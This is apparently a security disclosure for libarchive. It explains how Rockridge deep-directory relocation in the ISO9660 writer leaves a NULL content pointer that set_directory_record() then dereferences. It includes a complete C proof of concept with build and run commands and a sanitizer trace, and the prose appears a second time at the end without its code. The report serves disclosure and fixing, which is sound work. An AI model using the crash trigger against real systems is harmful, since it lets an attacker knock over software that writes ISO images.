Summary
The issue occurs when creating an ISO9660 image with Rockridge enabled, ISO level 4, disabled depth limiting, and a deep zero-length regular file path. Rockridge deep-directory relocation moves a deep directory into rr_moved and marks the original directory entry as a non-directory. During the later directory descriptor generation phase, libarchive still traverses that original entry as a directory record.
Before writing the directory records, calculate_directory_descriptors() iterates over the entry's content chain and advances file->cur_content to NULL. Later, set_directory_record() handles the same entry as a non-directory and dereferences file->cur_content->next, causing a NULL pointer dereference.
affected commit hash: 5a2ec45
Relevant Source Code
Affected code in libarchive/archive_write_set_format_iso9660.c.
First, in isoent_make_path_table(). With Rockridge enabled, libarchive calls isoent_rr_move() after collecting the path table entries:
static int
isoent_make_path_table(struct archive_write *a)
{
...
isoent_collect_dirs(&(iso9660->primary), NULL, 0);
if (iso9660->opt.joliet)
isoent_collect_dirs(&(iso9660->joliet), NULL, 0);
/*
* Rockridge; move deeper depth directories to rr_moved.
*/
if (iso9660->opt.rr) {
r = isoent_rr_move(a);
if (r < 0)
return (r);
}
For a deep directory, isoent_rr_move_dir() moves the original entry under rr_moved and marks the original directory entry as a non-directory:
static int
isoent_rr_move_dir(struct archive_write *a, struct isoent **rr_moved,
struct isoent *curent, struct isoent **newent)
{
...
/*
* This entry which relocated to the rr_moved directory
* has to set the flag as a file.
* See also RRIP 4.1.5.1 Description of the "CL" System Use Entry.
*/
curent->dir = 0;
Later, iso9660_close() calculates directory locations before writing the ISO image. This calls isoent_setup_directory_location():
static int
iso9660_close(struct archive_write *a)
{
...
/* Setup the locations of directories. */
isoent_setup_directory_location(iso9660, blocks,
&(iso9660->primary));
isoent_setup_directory_location() calls calculate_directory_descriptors() for each directory entry that remains in the traversal:
static void
isoent_setup_directory_location(struct iso9660 *iso9660, int location,
struct vdd *vdd)
{
...
do {
int block;
np->dir_block = calculate_directory_descriptors(
iso9660, vdd, np, depth);
Inside calculate_directory_descriptors(), the child entry's content cursor is initialized to &file->content, then advanced through the content chain. For a single-extent zero-length entry, file->content.next is NULL, so the loop leaves file->cur_content as NULL:
static int
calculate_directory_descriptors(struct iso9660 *iso9660, struct vdd *vdd,
struct isoent *isoent, int depth)
{
...
file = np->file;
if (file->hardlink_target != NULL)
file = file->hardlink_target;
file->cur_content = &(file->content);
do {
int dr_l;
dr_l = get_dir_rec_size(iso9660, np, DIR_REC_NORMAL,
vdd->vdd_type);
...
file->cur_content = file->cur_content->next;
} while (file->cur_content != NULL);
After that, iso9660_close() writes the directory descriptors:
static int
iso9660_close(struct archive_write *a)
{
...
/* Write Directory Descriptors */
ret = write_directory_descriptors(a, &(iso9660->primary));
write_directory_descriptors() reaches _write_directory_descriptors(), which writes a self directory record for the entry:
static int
_write_directory_descriptors(struct archive_write *a, struct vdd *vdd,
struct isoent *isoent, int depth)
{
...
p += set_directory_record(p, WD_REMAINING, isoent,
iso9660, DIR_REC_SELF, vdd->vdd_type);
At this final point, set_directory_record() sees the entry as a non-directory because isoent_rr_move_dir() set curent->dir = 0. It then dereferences the already-NULL file->cur_content:
static int
set_directory_record(unsigned char *p, size_t n, struct isoent *isoent,
struct iso9660 *iso9660, enum dir_rec_type t,
enum vdd_type vdd_type)
{
...
if (t == DIR_REC_PARENT)
xisoent = isoent->parent;
else
xisoent = isoent;
file = isoent->file;
if (file->hardlink_target != NULL)
file = file->hardlink_target;
/* Make a file flag. */
if (xisoent->dir)
flag = FILE_FLAG_DIRECTORY;
else {
/* NULL pointer dereference: file->cur_content is NULL here. */
if (file->cur_content->next != NULL)
flag = FILE_FLAG_MULTI_EXTENT;
else
flag = 0;
}
POC
#include <archive.h>
#include <archive_entry.h>
#include <stdio.h>
#include <stdlib.h>
static la_ssize_t
discard_write_callback(struct archive *a, void *client_data,
const void *buffer, size_t length)
{
(void)a;
(void)client_data;
(void)buffer;
return (la_ssize_t)length;
}
static int
discard_close_callback(struct archive *a, void *client_data)
{
(void)a;
(void)client_data;
return ARCHIVE_OK;
}
static void
check_archive_result(struct archive *a, int r, const char *what)
{
if (r == ARCHIVE_OK)
return;
fprintf(stderr, "%s failed: %s\n", what, archive_error_string(a));
exit(1);
}
int
main(void)
{
struct archive *a;
struct archive_entry *entry;
int r;
a = archive_write_new();
if (a == NULL) {
fprintf(stderr, "archive_write_new failed\n");
return 1;
}
check_archive_result(a, archive_write_set_format_iso9660(a),
"archive_write_set_format_iso9660");
check_archive_result(a, archive_write_add_filter_none(a),
"archive_write_add_filter_none");
check_archive_result(a, archive_write_set_bytes_per_block(a, 1),
"archive_write_set_bytes_per_block");
check_archive_result(a, archive_write_set_bytes_in_last_block(a, 1),
"archive_write_set_bytes_in_last_block");
/* Rockridge is enabled by default; ISO level 4 plus a deep path triggers rr_moved. */
check_archive_result(a, archive_write_set_options(a, "iso9660:joliet"),
"option joliet");
check_archive_result(a, archive_write_set_options(a, "iso9660:rockridge"),
"option rockridge");
check_archive_result(a, archive_write_set_options(a, "iso9660:iso-level=4"),
"option iso-level");
check_archive_result(a, archive_write_set_options(a, "iso9660:!limit-depth"),
"option !limit-depth");
check_archive_result(a, archive_write_set_options(a, "iso9660:zisofs"),
"option zisofs");
r = archive_write_open(a, NULL, NULL, discard_write_callback,
discard_close_callback);
check_archive_result(a, r, "archive_write_open");
entry = archive_entry_new();
if (entry == NULL) {
fprintf(stderr, "archive_entry_new failed\n");
archive_write_free(a);
return 1;
}
/* Nine path components make Rockridge deep-directory relocation process level 8. */
archive_entry_set_pathname(entry, "A/A/A/A/A/A/A/A/A");
archive_entry_set_filetype(entry, AE_IFREG);
archive_entry_set_perm(entry, 0644);
archive_entry_set_size(entry, 0);
archive_entry_set_uid(entry, 1000);
archive_entry_set_gid(entry, 1000);
archive_entry_set_uname(entry, "user");
archive_entry_set_gname(entry, "group");
r = archive_write_header(a, entry);
archive_entry_free(entry);
check_archive_result(a, r, "archive_write_header");
/*
* Current HEAD dereferences a NULL file->cur_content while writing
* directory records during close.
*/
r = archive_write_close(a);
check_archive_result(a, r, "archive_write_close");
check_archive_result(a, archive_write_free(a), "archive_write_free");
return 0;
}
Reproduce
Compile
clang-18 -g -O1 -fsanitize=address,undefined \
-I/path/to/build_san/libarchive \
-I/path/to/libarchive/libarchive \
/path/to/POC.c \
-L/path/to/build_san/libarchive \
-larchive \
-Wl,-rpath,/path/to/build_san/libarchive \
-o /output_dir/to/POC
Run
ASAN_OPTIONS=detect_leaks=0:allocator_may_return_null=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:print_stacktrace=1 \
/output_dir/to/POC
UBSAN Report
/home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:3495:27: runtime error: member access within null pointer of type 'struct content'
#0 0x7b26c7883962 in set_directory_record /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:3495:27
#1 0x7b26c789b2bf in _write_directory_descriptors /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:4387:7
#2 0x7b26c785b342 in write_directory_descriptors /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:4439:7
#3 0x7b26c782baa3 in iso9660_close /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:2078:8
#4 0x7b26c7777ecc in _archive_write_close /home/k40/CVE/libarchive/libarchive/archive_write.c:638:8
#5 0x7b26c776ea2a in archive_write_close /home/k40/CVE/libarchive/libarchive/archive_virtual.c:67:10
#6 0x5d8c4939da2c in main /home/k40/CVE/Outputs/Result/ISO9660_rr_moved_zero_size_null_deref/POC_EN.c:97:6
#7 0x7b26c6c2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#8 0x7b26c6c2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#9 0x5d8c492c44a4 in _start (/home/k40/CVE/Outputs/Result/ISO9660_rr_moved_zero_size_null_deref/POC_EN+0x2c4a4)
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:3495:27
Summary
The issue occurs when creating an ISO9660 image with Rockridge enabled, ISO level 4, disabled depth limiting, and a deep zero-length regular file path. Rockridge deep-directory relocation moves a deep directory into
rr_movedand marks the original directory entry as a non-directory. During the later directory descriptor generation phase, libarchive still traverses that original entry as a directory record.Before writing the directory records,
calculate_directory_descriptors()iterates over the entry's content chain and advancesfile->cur_contenttoNULL. Later,set_directory_record()handles the same entry as a non-directory and dereferencesfile->cur_content->next, causing a NULL pointer dereference.affected commit hash: 5a2ec45
Relevant Source Code
Affected code in
libarchive/archive_write_set_format_iso9660.c.First, in
isoent_make_path_table(). With Rockridge enabled, libarchive callsisoent_rr_move()after collecting the path table entries:For a deep directory,
isoent_rr_move_dir()moves the original entry underrr_movedand marks the original directory entry as a non-directory:Later,
iso9660_close()calculates directory locations before writing the ISO image. This callsisoent_setup_directory_location():isoent_setup_directory_location()callscalculate_directory_descriptors()for each directory entry that remains in the traversal:Inside
calculate_directory_descriptors(), the child entry's content cursor is initialized to&file->content, then advanced through the content chain. For a single-extent zero-length entry,file->content.nextis NULL, so the loop leavesfile->cur_contentas NULL:After that,
iso9660_close()writes the directory descriptors:write_directory_descriptors()reaches_write_directory_descriptors(), which writes a self directory record for the entry:At this final point,
set_directory_record()sees the entry as a non-directory becauseisoent_rr_move_dir()setcurent->dir = 0. It then dereferences the already-NULLfile->cur_content:POC
Reproduce
Compile
Run
UBSAN Report